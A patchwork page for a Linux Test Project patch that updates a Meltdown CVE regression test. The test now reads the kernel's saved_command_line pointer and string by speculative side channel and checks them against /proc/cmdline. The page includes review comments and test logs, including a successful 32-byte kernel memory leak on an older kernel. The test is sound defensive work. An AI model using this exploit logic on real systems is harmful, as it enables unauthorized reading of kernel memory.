diff mbox series

cve/meltdown: read *saved_command_line

Message ID 761d2d176c0765f3913e140191ceaf83aa745424.1529495077.git.jstancek@redhat.com
State Accepted
Headers show
Series cve/meltdown: read *saved_command_line | expand

Commit Message

Jan Stancek June 20, 2018, 11:51 a.m. UTC
After commit 8c06c7740d19 ("x86/pti: Leave kernel text global for !PCID"),
kernel can now map all of kernel text into the user page tables.
So, read of "linux_proc_banner" can succeed and report a false positive.

This patch changes the test to read value of "saved_command_line"
pointer and then also memory pointed to by it. And compares result
(first 32 bytes) to /proc/cmdline. saved_command_line string is
allocated dynamically and falls outside of (_text, _end) area:
  crash> p/x _text
  $2 = 0xffffffff81000000 <startup_64>
  crash> p/x _end
  $3 = 0xffffffff82411000
  crash> p/x &saved_command_line
  $4 = 0xffffffff81cf3008
  crash> p/x saved_command_line
  $5 = 0xffff88007ff55100
so test should work on kernels with and without the patch.

Signed-off-by: Jan Stancek <jstancek@redhat.com>
---
 testcases/cve/meltdown.c | 64 ++++++++++++++++++++++++++++++++++++------------
 1 file changed, 48 insertions(+), 16 deletions(-)

1. older kernel: 3.10.0-693.el7.x86_64
# ./meltdown 
tst_test.c:1015: INFO: Timeout per run is 0h 05m 00s
meltdown.c:259: INFO: access time: cached = 61, uncached = 501, threshold = 174
meltdown.c:309: INFO: &saved_command_line == 0xffffffff81cf3008
meltdown.c:342: INFO: read ffffffff81cf3008 = 0x00  
meltdown.c:342: INFO: read ffffffff81cf3009 = 0x51 Q
meltdown.c:342: INFO: read ffffffff81cf300a = 0xf5  
meltdown.c:342: INFO: read ffffffff81cf300b = 0x7f  
meltdown.c:342: INFO: read ffffffff81cf300c = 0x00  
meltdown.c:342: INFO: read ffffffff81cf300d = 0x88  
meltdown.c:342: INFO: read ffffffff81cf300e = 0xff  
meltdown.c:342: INFO: read ffffffff81cf300f = 0xff  
meltdown.c:350: INFO: save_command_line: 0xffff88007ff55100
meltdown.c:362: INFO: read ffff88007ff55100 = 0x42 B | expected 0x42 | match: 1
meltdown.c:362: INFO: read ffff88007ff55101 = 0x4f O | expected 0x4f | match: 1
meltdown.c:362: INFO: read ffff88007ff55102 = 0x4f O | expected 0x4f | match: 1
meltdown.c:362: INFO: read ffff88007ff55103 = 0x54 T | expected 0x54 | match: 1
meltdown.c:362: INFO: read ffff88007ff55104 = 0x5f _ | expected 0x5f | match: 1
meltdown.c:362: INFO: read ffff88007ff55105 = 0x49 I | expected 0x49 | match: 1
meltdown.c:362: INFO: read ffff88007ff55106 = 0x4d M | expected 0x4d | match: 1
meltdown.c:362: INFO: read ffff88007ff55107 = 0x41 A | expected 0x41 | match: 1
meltdown.c:362: INFO: read ffff88007ff55108 = 0x47 G | expected 0x47 | match: 1
meltdown.c:362: INFO: read ffff88007ff55109 = 0x45 E | expected 0x45 | match: 1
meltdown.c:362: INFO: read ffff88007ff5510a = 0x3d = | expected 0x3d | match: 1
meltdown.c:362: INFO: read ffff88007ff5510b = 0x2f / | expected 0x2f | match: 1
meltdown.c:362: INFO: read ffff88007ff5510c = 0x76 v | expected 0x76 | match: 1
meltdown.c:362: INFO: read ffff88007ff5510d = 0x6d m | expected 0x6d | match: 1
meltdown.c:362: INFO: read ffff88007ff5510e = 0x6c l | expected 0x6c | match: 1
meltdown.c:362: INFO: read ffff88007ff5510f = 0x69 i | expected 0x69 | match: 1
meltdown.c:362: INFO: read ffff88007ff55110 = 0x6e n | expected 0x6e | match: 1
meltdown.c:362: INFO: read ffff88007ff55111 = 0x75 u | expected 0x75 | match: 1
meltdown.c:362: INFO: read ffff88007ff55112 = 0x7a z | expected 0x7a | match: 1
meltdown.c:362: INFO: read ffff88007ff55113 = 0x2d - | expected 0x2d | match: 1
meltdown.c:362: INFO: read ffff88007ff55114 = 0x33 3 | expected 0x33 | match: 1
meltdown.c:362: INFO: read ffff88007ff55115 = 0x2e . | expected 0x2e | match: 1
meltdown.c:362: INFO: read ffff88007ff55116 = 0x31 1 | expected 0x31 | match: 1
meltdown.c:362: INFO: read ffff88007ff55117 = 0x30 0 | expected 0x30 | match: 1
meltdown.c:362: INFO: read ffff88007ff55118 = 0x2e . | expected 0x2e | match: 1
meltdown.c:362: INFO: read ffff88007ff55119 = 0x30 0 | expected 0x30 | match: 1
meltdown.c:362: INFO: read ffff88007ff5511a = 0x2d - | expected 0x2d | match: 1
meltdown.c:362: INFO: read ffff88007ff5511b = 0x36 6 | expected 0x36 | match: 1
meltdown.c:362: INFO: read ffff88007ff5511c = 0x39 9 | expected 0x39 | match: 1
meltdown.c:362: INFO: read ffff88007ff5511d = 0x33 3 | expected 0x33 | match: 1
meltdown.c:362: INFO: read ffff88007ff5511e = 0x2e . | expected 0x2e | match: 1
meltdown.c:362: INFO: read ffff88007ff5511f = 0x65 e | expected 0x65 | match: 1
meltdown.c:373: FAIL: I was able to read your kernel memory!!!
meltdown.c:376: INFO: score(matched/all): 32 / 32

2. recent upstream kernel: 4.17+
# ./meltdown 
tst_test.c:1015: INFO: Timeout per run is 0h 05m 00s
meltdown.c:259: INFO: access time: cached = 49, uncached = 332, threshold = 127
meltdown.c:309: INFO: &saved_command_line == 0xffffffffaa993008
meltdown.c:342: INFO: read ffffffffaa993008 = 0x00  
meltdown.c:342: INFO: read ffffffffaa993009 = 0x00  
meltdown.c:342: INFO: read ffffffffaa99300a = 0x00  
meltdown.c:342: INFO: read ffffffffaa99300b = 0x00  
meltdown.c:342: INFO: read ffffffffaa99300c = 0x00  
meltdown.c:342: INFO: read ffffffffaa99300d = 0x00  
meltdown.c:342: INFO: read ffffffffaa99300e = 0x00  
meltdown.c:342: INFO: read ffffffffaa99300f = 0x00  
meltdown.c:350: INFO: save_command_line: 0x0
meltdown.c:375: PASS: I was not able to read your kernel memory
meltdown.c:376: INFO: score(matched/all): 0 / 32

Comments

Li Wang June 22, 2018, 8:44 a.m. UTC | #1
Hi Jan,

On Wed, Jun 20, 2018 at 7:51 PM, Jan Stancek <jstancek@redhat.com> wrote:
> After commit 8c06c7740d19 ("x86/pti: Leave kernel text global for !PCID"),
> kernel can now map all of kernel text into the user page tables.
> So, read of "linux_proc_banner" can succeed and report a false positive.
>
> This patch changes the test to read value of "saved_command_line"
> pointer and then also memory pointed to by it. And compares result
> (first 32 bytes) to /proc/cmdline. saved_command_line string is
> allocated dynamically and falls outside of (_text, _end) area:
>   crash> p/x _text
>   $2 = 0xffffffff81000000 <startup_64>
>   crash> p/x _end
>   $3 = 0xffffffff82411000
>   crash> p/x &saved_command_line
>   $4 = 0xffffffff81cf3008
>   crash> p/x saved_command_line
>   $5 = 0xffff88007ff55100
> so test should work on kernels with and without the patch.

Awesome!

I tried this on a kvm guest(didn't have pcid && pti_mode == PTI_AUTO)
which leaving all kernel text global, the program was able to read
'&saved_command_line'(which located in kernel text area) and
'saved_command_line' value, but it could NOT read the content of
saved_command_line point to. So I think this patch is making sense.

# uname  -r
4.18.0-rc1.fi+

# systemd-detect-virt
kvm

# journalctl |grep isolation
Jun 22 01:13:43 localhost.localdomain kernel: Kernel/User page tables
isolation: enabled

# ./meltdown
tst_test.c:1015: INFO: Timeout per run is 0h 05m 00s
meltdown.c:259: INFO: access time: cached = 77, uncached = 272, threshold = 144
meltdown.c:309: INFO: &saved_command_line == 0xffffffff86f90240
meltdown.c:342: INFO: read ffffffff86f90240 = 0x80
meltdown.c:342: INFO: read ffffffff86f90241 = 0xc5
meltdown.c:342: INFO: read ffffffff86f90242 = 0xf4
meltdown.c:342: INFO: read ffffffff86f90243 = 0x7f
meltdown.c:342: INFO: read ffffffff86f90244 = 0x01
meltdown.c:342: INFO: read ffffffff86f90245 = 0x88
meltdown.c:342: INFO: read ffffffff86f90246 = 0xff
meltdown.c:342: INFO: read ffffffff86f90247 = 0xff
meltdown.c:350: INFO: save_command_line: 0xffff88017ff4c580
meltdown.c:362: INFO: read ffff88017ff4c580 = 0x00   | expected 0x42 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c581 = 0x00   | expected 0x4f | match: 0
meltdown.c:362: INFO: read ffff88017ff4c582 = 0x00   | expected 0x4f | match: 0
meltdown.c:362: INFO: read ffff88017ff4c583 = 0x00   | expected 0x54 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c584 = 0x00   | expected 0x5f | match: 0
meltdown.c:362: INFO: read ffff88017ff4c585 = 0x00   | expected 0x49 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c586 = 0x00   | expected 0x4d | match: 0
meltdown.c:362: INFO: read ffff88017ff4c587 = 0x00   | expected 0x41 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c588 = 0x00   | expected 0x47 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c589 = 0x00   | expected 0x45 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c58a = 0x00   | expected 0x3d | match: 0
meltdown.c:362: INFO: read ffff88017ff4c58b = 0x00   | expected 0x2f | match: 0
meltdown.c:362: INFO: read ffff88017ff4c58c = 0x00   | expected 0x76 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c58d = 0x00   | expected 0x6d | match: 0
meltdown.c:362: INFO: read ffff88017ff4c58e = 0x00   | expected 0x6c | match: 0
meltdown.c:362: INFO: read ffff88017ff4c58f = 0x00   | expected 0x69 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c590 = 0x00   | expected 0x6e | match: 0
meltdown.c:362: INFO: read ffff88017ff4c591 = 0x00   | expected 0x75 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c592 = 0x00   | expected 0x7a | match: 0
meltdown.c:362: INFO: read ffff88017ff4c593 = 0x00   | expected 0x2d | match: 0
meltdown.c:362: INFO: read ffff88017ff4c594 = 0x00   | expected 0x34 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c595 = 0x00   | expected 0x2e | match: 0
meltdown.c:362: INFO: read ffff88017ff4c596 = 0x00   | expected 0x31 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c597 = 0x00   | expected 0x38 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c598 = 0x00   | expected 0x2e | match: 0
meltdown.c:362: INFO: read ffff88017ff4c599 = 0x00   | expected 0x30 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c59a = 0x00   | expected 0x2d | match: 0
meltdown.c:362: INFO: read ffff88017ff4c59b = 0x00   | expected 0x72 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c59c = 0x00   | expected 0x63 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c59d = 0x00   | expected 0x31 | match: 0
meltdown.c:362: INFO: read ffff88017ff4c59e = 0x00   | expected 0x2e | match: 0
meltdown.c:362: INFO: read ffff88017ff4c59f = 0x00   | expected 0x66 | match: 0
meltdown.c:375: PASS: I was not able to read your kernel memory
meltdown.c:376: INFO: score(matched/all): 0 / 32

Summary:
passed   1
failed   0
skipped  0
warnings 0

>
> Signed-off-by: Jan Stancek <jstancek@redhat.com>
Reviewed-by: Li Wang <liwang@redhat.com>
Cyril Hrubis June 26, 2018, 9:38 a.m. UTC | #2
Hi!
Looking at kernel git the saved_command_line is allocated dynamically
since 2.6.21 which I guess is old enough but we may as well mention this
in the commit message:

commit 30d7e0d466b3ac0b5ef77e4062bf9385f0d72270
Author: Alon Bar-Lev <alon.barlev@gmail.com>
Date:   Mon Feb 12 00:53:52 2007 -0800

    [PATCH] Dynamic kernel command-line: common


Other than that it looks good, acked.
Jan Stancek June 26, 2018, 11:22 a.m. UTC | #3
----- Original Message -----
> Hi!
> Looking at kernel git the saved_command_line is allocated dynamically
> since 2.6.21 which I guess is old enough but we may as well mention this
> in the commit message:
> 
> commit 30d7e0d466b3ac0b5ef77e4062bf9385f0d72270
> Author: Alon Bar-Lev <alon.barlev@gmail.com>
> Date:   Mon Feb 12 00:53:52 2007 -0800
> 
>     [PATCH] Dynamic kernel command-line: common

I added this to commit message. It should be old enough,
we run the test on kernels older than 2.6.32 anyway.

> Other than that it looks good, acked.

Thanks, pushed.
Jan
diff mbox series

Patch

diff --git a/testcases/cve/meltdown.c b/testcases/cve/meltdown.c
index dce84a0c316b..a53ea9b8e533 100644
--- a/testcases/cve/meltdown.c
+++ b/testcases/cve/meltdown.c
@@ -189,7 +189,7 @@  readbit(int fd, unsigned long addr, char bit)
 	for (i = 0; i < CYCLES; i++) {
 		ret = pread(fd, buf, sizeof(buf), 0);
 		if (ret < 0)
-			tst_res(TBROK | TERRNO, "can't read /proc/version");
+			tst_res(TBROK | TERRNO, "can't read fd");
 
 		clflush_target();
 
@@ -298,17 +298,17 @@  find_kernel_symbol(const char *name)
 	return addr;
 }
 
-unsigned long linux_proc_banner_addr;
-int banner_fd;
+static unsigned long saved_cmdline_addr;
+static int spec_fd;
 
 static void setup(void)
 {
 	set_cache_hit_threshold();
 
-	linux_proc_banner_addr = find_kernel_symbol("linux_proc_banner");
-	tst_res(TINFO, "linux_proc_banner is at %lx", linux_proc_banner_addr);
+	saved_cmdline_addr = find_kernel_symbol("saved_command_line");
+	tst_res(TINFO, "&saved_command_line == 0x%lx", saved_cmdline_addr);
 
-	banner_fd = SAFE_OPEN("/proc/version", O_RDONLY);
+	spec_fd = SAFE_OPEN("/proc/cmdline", O_RDONLY);
 
 	memset(target_array, 1, sizeof(target_array));
 
@@ -316,37 +316,69 @@  static void setup(void)
 		tst_res(TBROK | TERRNO, "set_signal");
 }
 
+#define READ_SIZE 32
+
 static void run(void)
 {
-	unsigned int i, score, ret;
-	static char expected[] = "%s version %s";
-	static char read[32];
-	unsigned long addr = linux_proc_banner_addr;
-	unsigned long size = sizeof(expected) - 1;
-
+	unsigned int i, score = 0, ret;
+	unsigned long addr;
+	unsigned long size;
+	char read[READ_SIZE] = { 0 };
+	char expected[READ_SIZE] = { 0 };
+	int expected_len;
+
+	expected_len = pread(spec_fd, expected, sizeof(expected), 0);
+	if (expected_len < 0)
+		tst_res(TBROK | TERRNO, "can't read test fd");
+
+	/* read address of saved_cmdline_addr */
+	addr = saved_cmdline_addr;
+	size = sizeof(addr);
 	for (i = 0; i < size; i++) {
-		ret = readbyte(banner_fd, addr);
+		ret = readbyte(spec_fd, addr);
 
 		read[i] = ret;
-		tst_res(TINFO, "read %lx = 0x%x %c", addr, ret,
+		tst_res(TINFO, "read %lx = 0x%02x %c", addr, ret,
 			isprint(ret) ? ret : ' ');
 
 		addr++;
 	}
 
-	for (score = 0, i = 0; i < size; i++)
+	/* read value pointed to by saved_cmdline_addr */
+	memcpy(&addr, read, sizeof(addr));
+	memset(read, 0, sizeof(read));
+	tst_res(TINFO, "save_command_line: 0x%lx", addr);
+	size = expected_len;
+
+	if (!addr)
+		goto done;
+
+	for (i = 0; i < size; i++) {
+		ret = readbyte(spec_fd, addr);
+
+		read[i] = ret;
+		tst_res(TINFO, "read %lx = 0x%02x %c | expected 0x%02x |"
+			" match: %d", addr, ret, isprint(ret) ? ret : ' ',
+			expected[i], read[i] == expected[i]);
+
+		addr++;
+	}
+
+	for (i = 0; i < size; i++)
 		if (expected[i] == read[i])
 			score++;
 
+done:
 	if (score > size / 2)
 		tst_res(TFAIL, "I was able to read your kernel memory!!!");
 	else
 		tst_res(TPASS, "I was not able to read your kernel memory");
+	tst_res(TINFO, "score(matched/all): %u / %lu", score, size);
 }
 
 static void cleanup(void)
 {
-	SAFE_CLOSE(banner_fd);
+	SAFE_CLOSE(spec_fd);
 }
 
 static struct tst_test test = {